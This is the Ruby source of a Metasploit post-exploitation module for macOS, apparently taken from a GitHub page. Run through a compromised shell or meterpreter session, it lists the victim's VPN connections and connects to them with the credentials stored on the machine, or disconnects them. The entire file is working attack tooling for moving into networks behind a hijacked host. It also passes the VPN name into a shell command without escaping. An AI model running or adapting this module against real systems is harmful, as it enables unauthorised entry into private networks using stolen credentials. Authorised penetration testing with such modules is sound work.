146 lines
4.3 KiB
Ruby
146 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Post
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include Msf::Post::File
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STR_CONNECTED = '* (Connected)'
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STR_DISCONNECTED = '* (Disconnected)'
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def initialize(info={})
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super( update_info( info,
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'Name' => 'OSX VPN Manager',
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'Description' => %q{
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This module lists VPN connections and tries to connect to them using stored credentials.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Peter Toth <globetother[at]gmail.com>'
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],
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'Platform' => [ 'osx' ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Actions' => [
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[ 'LIST', { 'Description' => 'Show a list of VPN connections' } ],
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[ 'CONNECT', { 'Description' => 'Connect to a VPN using stored credentials' } ],
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[ 'DISCONNECT', { 'Description' => 'Disconnect from a VPN' } ]
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],
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'DefaultAction' => 'LIST'
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))
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register_options(
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[
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OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']),
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OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']),
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OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup'])
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], self.class)
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end
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def run
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fail_with("Invalid action") if action.nil?
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scutil_path = datastore['SCUTIL_PATH'].shellescape
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networksetup_path = datastore['NETWORKSETUP_PATH'].shellescape
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vpn_name = datastore['VPN_CONNECTION']
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if not file?(scutil_path)
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print_error("Aborting, scutil binary not found.")
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return
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end
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if not file?(networksetup_path)
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print_error("Aborting, networksetup binary not found.")
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return
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end
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# Fetch the list of configured VPN connections
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cmd_list = "#{scutil_path} --nc list"
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vprint_status(cmd_list)
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vpn_data = cmd_exec(cmd_list)
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connected_names = parse_vpn_connection_names(vpn_data, :connected)
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disconnected_names = parse_vpn_connection_names(vpn_data, :disconnected)
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if action.name == 'LIST'
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if connected_names.length > 0
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print_status("VPN Connections Status: UP")
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connected_names.each do |vpn_name|
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print_good(' ' + vpn_name)
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end
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end
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if disconnected_names.length > 0
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print_status("VPN Connections Status: DOWN")
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disconnected_names.each do |vpn_name|
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print_good(' ' + vpn_name)
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end
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end
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elsif action.name == 'CONNECT'
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if connected_names.include?(vpn_name)
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print_status("#{vpn_name} already connected")
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return
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end
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unless disconnected_names.include?(vpn_name)
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print_error("#{vpn_name} not found")
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return
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end
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cmd_up = "#{networksetup_path} -connectpppoeservice '#{vpn_name}'"
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vprint_status(cmd_up)
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cmd_exec(cmd_up)
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elsif action.name == 'DISCONNECT'
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if disconnected_names.include?(vpn_name)
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print_status("#{vpn_name} already disconnected")
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return
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end
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unless connected_names.include?(vpn_name)
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print_error("#{vpn_name} not found")
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return
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end
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identifier = parse_vpn_connection_identifier(vpn_data, vpn_name)
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unless identifier
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print_error("Could not parse #{vpn_name} identifier")
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return
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end
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cmd_down = "#{scutil_path} --nc stop #{identifier}"
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vprint_status(cmd_down)
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cmd_exec(cmd_down)
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end
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end
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def parse_vpn_connection_names(data, type=:connected)
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lines = data.lines
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connection_names = []
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comp_str = type == :connected ? STR_CONNECTED : STR_DISCONNECTED
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lines.each do |line|
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if line.start_with?(comp_str) && line =~ /"(.*)"/
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connection_names << $1
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end
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end
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return connection_names
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end
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def parse_vpn_connection_identifier(data, vpn_name)
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lines = data.lines
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lines.each do |line|
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line.strip!
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next if line.empty?
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if line.include?(vpn_name) && line =~ /([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})/
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identifier = $1
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return identifier
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end
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end
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return nil
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end
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end
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